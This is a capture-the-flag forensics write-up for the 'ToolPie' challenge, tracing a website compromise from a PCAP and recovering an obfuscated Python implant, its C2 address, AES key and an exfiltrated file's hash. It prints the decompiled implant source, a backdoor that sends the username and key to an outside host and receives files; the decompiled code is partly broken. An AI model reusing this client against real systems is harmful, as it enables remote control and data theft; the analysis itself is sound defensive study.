ToolPie Writeup
Cyber Apocalypse 2025
Solved by thewhiteh4t
-
We were given a PCAP in this challenge
- What is the IP address responsible for compromising the website?
- Based on POST requests in the PCAP :
194.59.6.66
- Based on POST requests in the PCAP :
- What is the name of the endpoint exploited by the attacker?
- Based on POST requests :
/execute
- Based on POST requests :
- What is the name of the obfuscation tool used by the attacker?
- Simply printing the script found above shows a code object which contains a string :
Py-Fuscate
- Simply printing the script found above shows a code object which contains a string :
# replaced exec() with print()
> python chal.py
<code object <module> at 0x555555605650, file "Py-Fuscate", line 1>
- What is the IP address and port used by the malware to establish a connection with the Command and Control (C2) server?
- To find this first we need to get the plain text code, what we have is a
python code object
, we can createpyc
file which is bytecode and get plaintext from it using tools likeuncompyle6
,decompyle3
orpycdc
- However none of the tools worked due to python version mismatch, so I found
pylingual
- in the code we can see the IP and port :
13.61.7.218:55155
- To find this first we need to get the plain text code, what we have is a
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: Py-Fuscate
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 2025-03-24 20:26:54 UTC (1742848014)
from os import popen
pass
pass
import socket
import threading
import os
import time
import random
import string
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
user = os.popen('whoami').read()
BUFFER_SIZE = 4096
SEPARATOR = '<SEPARATOR>'
CONN = True
def enc_mes(mes, key):
try:
cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
cypher_block = 16
mes = mes.encode() if type(mes)!= bytes else mes
return cypher.encrypt(pad(mes, cypher_block))
except:
return None
def dec_file_mes(mes, key):
cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
cypher_block = 16
s = cypher.decrypt(mes)
return unpad(s, cypher_block)
def dec_mes(mes, key):
if mes == b'':
return mes
def receive_file():
try:
client2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client2.connect(('13.61.7.218', 54163))
k = ''.join((random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16)))
client2.send(k.encode())
pass
enc_received = client2.recv(BUFFER_SIZE)
received = dec_mes(enc_received, k).decode()
filename, filesize = received.split(SEPARATOR)
ok_enc = enc_mes('ok2', k)
client2.send(ok_enc)
total_bytes = 0
msg = b''
if total_bytes < int(filesize):
bytes_read = client2.recv(BUFFER_SIZE)
msg += bytes_read
total_bytes += len(bytes_read)
decr_file = dec_mes(msg, k)
with open(filename, 'wb') as f:
f.write(decr_file)
pass
client2.close()
except:
pass # postinserted
client2.send('Error transporting file'.encode())
def receive(client, k):
pass
try:
pass # postinserted
s += 1
msg = client.recv(1024)
raise Exception('Reconnect!') if s == 300 else True if msg == b'' else False
except:
pass # postinserted
pass
try:
pass # postinserted
client.close()
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('13.61.7.218', 55155))
k = ''.join((random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16)))
client.send(f'{user}{SEPARATOR}{k}'.encode())
client.settimeout(600)
time.sleep(60)
except:
time.sleep(60)
if __name__ == '__main__':
pass
try:
pass # postinserted
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('13.61.7.218', 55155))
k = ''.join((random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16)))
client.send(f'{user}{SEPARATOR}{k}'.encode())
client.settimeout(600)
break
receive_thread = threading.Thread(target=receive, args=(client, k))
receive_thread.start()
except:
pass # postinserted
time.sleep(50)
- What encryption key did the attacker use to secure the data?
- In the code we can see where the key is sent :
client.send(f'{user}{SEPARATOR}{k}'.encode())
- we can look for this pattern in the PCAP :
ec2amaz-bktvi3e\administrator\n5UUfizsRsP7oOCAq
so the key is :5UUfizsRsP7oOCAq
- In the code we can see where the key is sent :
- What is the MD5 hash of the file exfiltrated by the attacker?
- Since we have the key, we can write our own decryption script
- first we need to extract data chunks from the PCAP using
tshark -2 -r capture.pcap -R "tcp.stream eq 4 and data.data" -T fields -e data.data > datafile.txt
- now we can write a script to parse data chunks and decrypt the stolen files
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def dec_file_mes(mes, key):
cypher = AES.new(key.encode(), AES.MODE_CBC, key.encode())
cypher_block = 16
s = cypher.decrypt(mes)
return unpad(s, cypher_block)
key = '5UUfizsRsP7oOCAq'
filename = None
size = 0
container = b''
filling = False
got_size = False
with open('datafile.txt') as encfile:
hex_lines = encfile.readlines()
for line in hex_lines:
got_name = False
if filename:
got_name = True
msg = bytes.fromhex(line)
if b'SEPARATOR' in msg:
continue
if not filling:
decr_file = dec_file_mes(msg, key)
if b'C:' in decr_file:
filename = decr_file.decode().split('\\')[-1]
print('[+] Filename : ', filename)
if got_name and not got_size:
if int(decr_file.decode()):
size = int(decr_file.decode())
print('[+] File Size : ', size)
got_size = True
if size and b'ok' in decr_file: # handle last ok msg after size
filling = True
else:
if len(container) != size:
container += msg
decr_file = dec_file_mes(container, key)
print(f'[+] Writing : {filename}')
with open(filename, 'wb') as outfile:
outfile.write(decr_file)
MD5 Hash : 8fde053c8e79cf7e03599d559f90b321